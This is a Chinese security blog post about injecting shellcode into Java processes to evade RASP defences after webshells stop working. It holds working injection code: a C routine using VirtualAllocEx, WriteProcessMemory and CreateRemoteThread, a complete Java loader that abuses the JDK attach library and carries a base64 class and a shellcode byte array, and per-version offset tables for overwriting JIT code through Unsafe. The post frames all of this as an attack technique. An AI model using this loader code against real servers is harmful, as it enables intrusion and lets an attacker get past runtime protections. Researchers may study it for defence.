JVM Shellcode注入探索
2022-3-18 20:20:42 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

前言

随着RASP技术的发展,普通webshell已经很难有用武之地,甚至是各种内存马也逐渐捉襟见肘。秉承着《JSP Webshell那些事——攻击篇(上)》中向下走的思路,存不存在一种在Java代码中执行机器码的方法呢?答案是肯定的,常见的注入方式有JNI、JNA和利用JDK自带的Native方法等,其中笔者还找到了一种鲜有文章介绍的,基于HotSpot虚拟机,并较为通用的注入方法。

基于JNI

Java底层虽然是C/C++实现的,但不能直接执行C/C++代码。若想要执行C/C++的代码,一般得通过JNI,即Java本地调用(Java Native Interface),加载JNI链接库,调用Native方法实现。

Cobalt Strike官网博客上有一篇《如何从Java注入shellcode》的文章,便是基于JNI实现,通过Native方法调用C/C++代码将shellcode注入到内存中。

//C/C++代码中声明的函数对应Demo#inject本地方法
JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv * env, jobject object, jbyteArray jdata) {
   jbyte * data = (*env)->GetByteArrayElements(env, jdata, 0);
   jsize length = (*env)->GetArrayLength(env, jdata);
   inject((LPCVOID)data, (SIZE_T)length);
   (*env)->ReleaseByteArrayElements(env, jdata, data, 0);
}
//执行注入shellcode的代码
/* inject some shellcode... enclosed stuff is the shellcode y0 */
void inject(LPCVOID buffer, int length) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hProcess   = NULL;
    SIZE_T wrote;
    LPVOID ptr;
    char lbuffer[1024];
    char cmdbuff[1024];
  
    /* reset some stuff */
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );
  
    /* start a process */
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = NULL;
    si.hStdError = NULL;
    si.hStdInput = NULL;
  
    /* resolve windir? */
    GetEnvironmentVariableA("windir", lbuffer, 1024);
  
    /* setup our path... choose wisely for 32bit and 64bit platforms */
    #ifdef _IS64_
        _snprintf(cmdbuff, 1024"%s\\SysWOW64\\notepad.exe", lbuffer);
    #else
        _snprintf(cmdbuff, 1024"%s\\System32\\notepad.exe", lbuffer);
    #endif
  
    /* spawn the process, baby! */
    if (!CreateProcessA(NULL, cmdbuff, NULLNULL, TRUE, 0NULLNULL, &si, &pi))
        return;
  
    hProcess = pi.hProcess;
    if( !hProcess )
        return;
  
    /* allocate memory in our process */
    ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  
    /* write our shellcode to the process */
    WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
    if (wrote != length)
        return;
  
    /* create a thread in the process */
    CreateRemoteThread(hProcess, NULL0, ptr, NULL0NULL);
}

这种方法需要自行编写个链接库,并上传到受害服务器上,利用起来并不显得优雅。

还有另一种方法是利用JNA第三方库,可以直接调用内核的函数,实现Shellcode注入。在@yzddmr6师傅的Java-Shellcode-Loader项目中有实现,但JNA本质上还是基于JNI,使用时还是要加载JNA自己的链接库,并且JDK中默认不包含JNA这个类库,使用时需要想办法引入。

基于JDK自带的Native方法

第一个介绍的可能是冰蝎的作者@rebeyond师傅首先发现的方法,一种基于JDK自带的Native方法的shellcode注入,严格来说是基于HotSpot虚拟机的JDK的自带Native方法。它是sun/tools/attach/VirtualMachineImpl#enqueueNative方法,存在于用于attach Java进程的tools.jar包中。

当运行在Windows上时,相应的enqueue Native方法实现在/src/jdk.attach/windows/native/libattach/VirtualMachineImpl.c中,其中Create thread in target process to execute code的操作,不能说跟前面Cobalt Strike注入shellcode的操作毫不相干,只能说是一模一样。

JNIEXPORT void JNICALL Java_sun_tools_attach_VirtualMachineImpl_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)

{
    ...
    /*
     * Allocate memory in target process for data and code stub
     * (assumed aligned and matches architecture of target process)
     */

    hProcess = (HANDLE)handle;

    pData = (DataBlock*) VirtualAllocEx( hProcess, 0sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );
    if (pData == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );

    stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
    stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);

    if ((*env)->ExceptionOccurred(env)) return;

    pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    if (pCode == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
        (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
    (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);

    /*
     * Create thread in target process to execute code
     */

    hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );
    ...
}

当然你不能说这个是bug,只能说是feature。


相应的Demo是比较简单,在stub参数中传入shellcode即可,@rebeyond师傅已经给出了代码,笔者在这里做了点简化。不过实现Native方法的链接库attach.dll默认存在,但tools.jar这个包不一定存在,@rebeyond师傅巧妙的利用了双亲委派机制,当jvm中没有加载VirtualMachineImpl类时,就会使用下面base64编码的类替代,当然这种方法仅适用于Windows,因为Linux下enqueue并不是这么实现的。
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.Base64;

public class WindowsAgentShellcodeLoader {
    public static void main(String[] args) {
        try {
            String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAAMwABAAEAAAAFKrcAAbEAAAACAA8AAAAKAAIAAAAGAAQABwAQAAAADAABAAAABQARABIAAAGIABMAFAABABUAAAAEAAEAFgEIABcAGAABABUAAAAEAAEAFgAJABkAGgABAA4AAAB6AAYAAgAAAB0SArgAAxQABCoSBhIGA70AB7gACKcACEwrtgAKsQABAAUAFAAXAAkAAwAPAAAAGgAGAAAADgAFABAAFAATABcAEQAYABIAHAAVABAAAAAWAAIAGAAEABsAHAABAAAAHQAdAB4AAAAfAAAABwACVwcAIAQAAQAhAAAAAgAi";
            Class clazz = new MyClassLoader().get(Base64.getDecoder().decode(classStr));
            byte buf[] = new byte[]{
                    (byte0xFC, (byte0x48, (byte0x83, (byte0xE4, (byte0xF0, (byte0xE8, (byte0xC0, (byte0x00, (byte0x00, (byte0x00, (byte0x41, (byte0x51, (byte0x41, (byte0x50, (byte0x52, (byte0x51,
                    (byte0x56, (byte0x48, (byte0x31, (byte0xD2, (byte0x65, (byte0x48, (byte0x8B, (byte0x52, (byte0x60, (byte0x48, (byte0x8B, (byte0x52, (byte0x18, (byte0x48, (byte0x8B, (byte0x52,
                    (byte0x20, (byte0x48, (byte0x8B, (byte0x72, (byte0x50, (byte0x48, (byte0x0F, (byte0xB7, (byte0x4A, (byte0x4A, (byte0x4D, (byte0x31, (byte0xC9, (byte0x48, (byte0x31, (byte0xC0,
                    (byte0xAC, (byte0x3C, (byte0x61, (byte0x7C, (byte0x02, (byte0x2C, (byte0x20, (byte0x41, (byte0xC1, (byte0xC9, (byte0x0D, (byte0x41, (byte0x01, (byte0xC1, (byte0xE2, (byte0xED,
                    (byte0x52, (byte0x41, (byte0x51, (byte0x48, (byte0x8B, (byte0x52, (byte0x20, (byte0x8B, (byte0x42, (byte0x3C, (byte0x48, (byte0x01, (byte0xD0, (byte0x8B, (byte0x80, (byte0x88,
                    (byte0x00, (byte0x00, (byte0x00, (byte0x48, (byte0x85, (byte0xC0, (byte0x74, (byte0x67, (byte0x48, (byte0x01, (byte0xD0, (byte0x50, (byte0x8B, (byte0x48, (byte0x18, (byte0x44,
                    (byte0x8B, (byte0x40, (byte0x20, (byte0x49, (byte0x01, (byte0xD0, (byte0xE3, (byte0x56, (byte0x48, (byte0xFF, (byte0xC9, (byte0x41, (byte0x8B, (byte0x34, (byte0x88, (byte0x48,
                    (byte0x01, (byte0xD6, (byte0x4D, (byte0x31, (byte0xC9, (byte0x48, (byte0x31, (byte0xC0, (byte0xAC, (byte0x41, (byte0xC1, (byte0xC9, (byte0x0D, (byte0x41, (byte0x01, (byte0xC1,
                    (byte0x38, (byte0xE0, (byte0x75, (byte0xF1, (byte0x4C, (byte0x03, (byte0x4C, (byte0x24, (byte0x08, (byte0x45, (byte0x39, (byte0xD1, (byte0x75, (byte0xD8, (byte0x58, (byte0x44,
                    (byte0x8B, (byte0x40, (byte0x24, (byte0x49, (byte0x01, (byte0xD0, (byte0x66, (byte0x41, (byte0x8B, (byte0x0C, (byte0x48, (byte0x44, (byte0x8B, (byte0x40, (byte0x1C, (byte0x49,
                    (byte0x01, (byte0xD0, (byte0x41, (byte0x8B, (byte0x04, (byte0x88, (byte0x48, (byte0x01, (byte0xD0, (byte0x41, (byte0x58, (byte0x41, (byte0x58, (byte0x5E, (byte0x59, (byte0x5A,
                    (byte0x41, (byte0x58, (byte0x41, (byte0x59, (byte0x41, (byte0x5A, (byte0x48, (byte0x83, (byte0xEC, (byte0x20, (byte0x41, (byte0x52, (byte0xFF, (byte0xE0, (byte0x58, (byte0x41,
                    (byte0x59, (byte0x5A, (byte0x48, (byte0x8B, (byte0x12, (byte0xE9, (byte0x57, (byte0xFF, (byte0xFF, (byte0xFF, (byte0x5D, (byte0x48, (byte0xBA, (byte0x01, (byte0x00, (byte0x00,
                    (byte0x00, (byte0x00, (byte0x00, (byte0x00, (byte0x00, (byte0x48, (byte0x8D, (byte0x8D, (byte0x01, (byte0x01, (byte0x00, (byte0x00, (byte0x41, (byte0xBA, (byte0x31, (byte0x8B,
                    (byte0x6F, (byte0x87, (byte0xFF, (byte0xD5, (byte0xBB, (byte0xF0, (byte0xB5, (byte0xA2, (byte0x56, (byte0x41, (byte0xBA, (byte0xA6, (byte0x95, (byte0xBD, (byte0x9D, (byte0xFF,
                    (byte0xD5, (byte0x48, (byte0x83, (byte0xC4, (byte0x28, (byte0x3C, (byte0x06, (byte0x7C, (byte0x0A, (byte0x80, (byte0xFB, (byte0xE0, (byte0x75, (byte0x05, (byte0xBB, (byte0x47,
                    (byte0x13, (byte0x72, (byte0x6F, (byte0x6A, (byte0x00, (byte0x59, (byte0x41, (byte0x89, (byte0xDA, (byte0xFF, (byte0xD5
            };
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byteArrayOutputStream.write(buf);
            byteArrayOutputStream.write("calc\0".getBytes());
            byte[] result = byteArrayOutputStream.toByteArray();

            Method method = clazz.getDeclaredMethod("run"byte[].class);
            method.invoke(clazz, result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static class MyClassLoader extends ClassLoader {
        public Class get(byte[] bytes) {
            return super.defineClass(bytes, 0, bytes.length);
        }
    }
}

package sun.tools.attach;

import java.io.IOException;

public class WindowsVirtualMachine {
    public WindowsVirtualMachine() {
    }

    static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException;

    static native long openProcess(int var0) throws IOException;

    public static void run(byte[] buf) {
        System.loadLibrary("attach");
        try {
            enqueue(-1L, buf, "test""test");
        } catch (Exception var2) {
            var2.printStackTrace();
        }

    }
}

基于oop偏移

这种是基于@Ryan Wincey和@xxDark两位前辈的总结,基本原理是:多次调用某个方法,使其成为热点代码触发即时编译,然后通过oop的数据结构偏移计算出JIT地址,最后使用unsafe写内存的功能,将shellcode写入到JIT地址。其中涉及Unsafe、Oop-Klass模型和即时编译这三个前置知识。

Unsafe类

Unsafe类是java中非常特别的一个类,提供的操作可以直接读写内存、获得地址偏移值、锁定或释放线程。Unsafe只有一个私有的构造方法,但在类加载时候在静态代码中会实例化一个Unsafe对象,赋值给Unsafe类的静态常量Unsafe属性,我们发射获取到这个Unsafe属性即可。

Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

Unsafe读写内存的相关方法有getObjectgetAddressgetIntgetLongputByte等。

Oop-Klass模型

HotSpot JVM 底层都是 C/C++ 实现的,Java 对象在JVM的表示模型叫做“OOP-Klass”模型,包括两部分:

  • OOP,即 Ordinary Object Point,普通对象指针,用来描述对象实例信息。

  • Klass,用来描述 Java 类,包含了元数据和方法信息等。

在Java程序运行过程中,每创建一个新的对象,在JVM内部就会相应地创建一个对应类型的OOP对象。Java类是对象,Java方法也是对象,而java类加载完成时在JVM中的最终产物就是InstanceKlass,其中包含方法信息、字段信息等一切java 类所定义的一切元素。

即时编译(JIT)

为了优化Java的性能 ,JVM在解释器之外引入了即时(Just In Time)编译器:当程序运行时,解释器首先发挥作用,代码可以直接执行;当方法或者代码块在一段时间内的调用次数超过了JVM设定的阈值时,这些字节码就会被编译成机器码,存入codeCache中。在下次执行时,再遇到这段代码,就会从codeCache中读取机器码,直接执行,以此来提升程序运行的性能。整体的执行过程大致如下图所示:

Openjdk和Oracle JDK在默认mixed模型下会启动即时编译,即时编译的触发阈值在客户端编译器和服务端编译器上默认值分别为1500和10000。

原理分析

在JVM的本体:jvm.dll和libjvm.so中,存在这一个VMStructs的类,存储了JVM中包括oop、klass、constantPool在内的数据结构和他的属性。其中有使用JNIEXPORT标记的VMStructsVMTypesIntConstantsLongConstants的入口、名称、地址等偏移的变量,借助ClassLoader的内部类NativeLibraryfindfindEntryNative方法(与JDK的版本有关),可获取到这些变量的值。

然后通过InstanceKlassArray<Method*>MethodConstMethodConstantPoolSymbol这些oop数据结构中的变量偏移计算出JIT的地址。


我们要计算出的目标JIT地址是目标函数的JIT地址,这需要目标方法经多次调用触发即时编译,并自动设置_from_compiled_entry属性,然后对比函数名和Signature,从目标类众多默认方法中过滤出目标方法来,再通过Method加上_from_compiled_entry偏移计算出来。(这里的Signature即形如()V(Ljava/lang/String;)V()Ljava/lang/String;的函数签名)

上图没有提到InstanceKlass的获取,其实只要通过Target.class获取到目标类的类实例,再用Unsafe读取类实例加上java_lang_Classklass偏移即可。

JVM的JIT在内存中是一个可读可写可执行的区域,最后使用UnsafeputByte方法写入shellcode,再调用目标方法即可执行。这里要注意的是,如果使用没有恢复现场,即破坏了原有栈帧的shellcode,会导致JVM崩溃,切勿在生成环境上测试

以上的Demo代码可以@xxDark的 JavaShellcodeInjector项目中浏览。

部分问题修复及改进

在32位的JDK跑Demo,JRE会抛出个异常,调试发现是从目标类实例获取InstanceKlass的偏移:klassOffset,从内存取到的值是0,使得获取到的klass不正确,导致Unsafe读取了一个异常的地址。

问题的原因目前还不得而知,但通过HSDB找到java.lang.ClassInstanceKlass就可以看到klass的偏移,后续其他自动获取的偏移也没有出现异常。

上面自动化地计算偏移,要加载JVM的链接库,还要获取一堆JVM里的数据结构、记录一堆oop和常量池的值,这要是想将POC写成一个文件着实有点不方便啊。那有没有一种简单粗暴的方法呢?

答案是肯定的。笔者刚好装有多个版本的JDK,发现JDK大版本和操作系统位数相同的时候,上面那些偏移是不变的。翻看JDK的源码不难发现,这些offset归根结底由offset_of宏得出,一个与C语言offsetof作用相同的宏,结果是一个结构成员相对于结构开头的字节偏移量。

而通过之前查阅的资料得知,不同JDK大版本之间的oop数据结构才存在差异,我们只要记录下这些相同架构和大版本的偏移,就能直接计算出JIT的地址,可以免去加载JVM链接库和收集、存储JVM里数据结构的操作。

以下是笔者收集的部分LTS版本JDK的oop相关偏移:

//        JDK8 x32
static int klassOffset = 0x44;
static int methodArrayOffset = 0xe4;
static int methodsOffset = 0x4;
static int constMethodOffset = 0x4;
static int constantPoolTypeSize = 0x2c;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x1a;
static int signatureIndexOffset = 0x1c;
static int _from_compiled_entry = 0x24;
static int symbolTypeBodyOffset = 0x8;
static int symbolTypeLengthOffset = 0x0;

//        JDK8 x64
static int klassOffset = 0x48;
static int methodArrayOffset = 0x180;
static int methodsOffset = 0x8;
static int constMethodOffset = 0x8;
static int constantPoolTypeSize = 0x50;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x22;
static int signatureIndexOffset = 0x24;
static int _from_compiled_entry = 0x40;
static int symbolTypeBodyOffset = 0x8;
static int symbolTypeLengthOffset = 0x0;

//        JDK11 x64
static int klassOffset = 0x50;
static int methodArrayOffset = 0x198;
static int methodsOffset = 0x8;
static int constMethodOffset = 0x8;
static int constantPoolTypeSize = 0x40;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x2a;
static int signatureIndexOffset = 0x2c;
static int _from_compiled_entry = 0x38;
static int symbolTypeBodyOffset = 0x6;
static int symbolTypeLengthOffset = 0x0;

后记

笔者在JDK7也曾尝试注入shellcode,但最后还是以失败告终,不仅是因为JDK7到JDK8的oop数据结构发生了很大的变化,而是JDK7中的类示例中并没有InstanceKlass结构成员,但java_lang_CLass中又确确实实存在_klass_offset这个结构成员,这点就比较奇怪。

翻看官方工具HSDB,发现是通过BasicHashtable<mtInternal>_buckets结构成员获取所有InstanceKlass的。由于JDK7上POC的oop数据结构需要改动较多,且还不知道BasicHashtable<mtInternal>要怎么获取,所以JDK7下的POC还未实现。

最后两个的shellcode注入方法基于Oracle JDK和Openjdk的默认JVM:HotSpot,其他一些的JVM的实现方法就要静待各位师傅发掘。

文中若有错误的地方,望各位师傅不吝斧正。

参考

https://xz.aliyun.com/t/10075

https://www.slideshare.net/RyanWincey/java-shellcodeoffice

https://github.com/xxDark/JavaShellcodeInjector/blob/master/src/main/java/me/xdark/shell/ShellcodeRunner.java

https://qiankunli.github.io/2014/10/27/jvm_classloader.html

https://www.sczyh30.com/posts/Java/jvm-klass-oop/

https://jishuin.proginn.com/p/763bfbd58ef3

https://tech.meituan.com/2020/10/22/java-jit-practice-in-meituan.html


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&mid=2247484681&idx=1&sn=865bf988731a5a3624e3232f27eb8aa3&chksm=ce154457f962cd41738a6c843f8a1fd3208856c44aab07b0a494f196204fa343933186cd7cdd&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh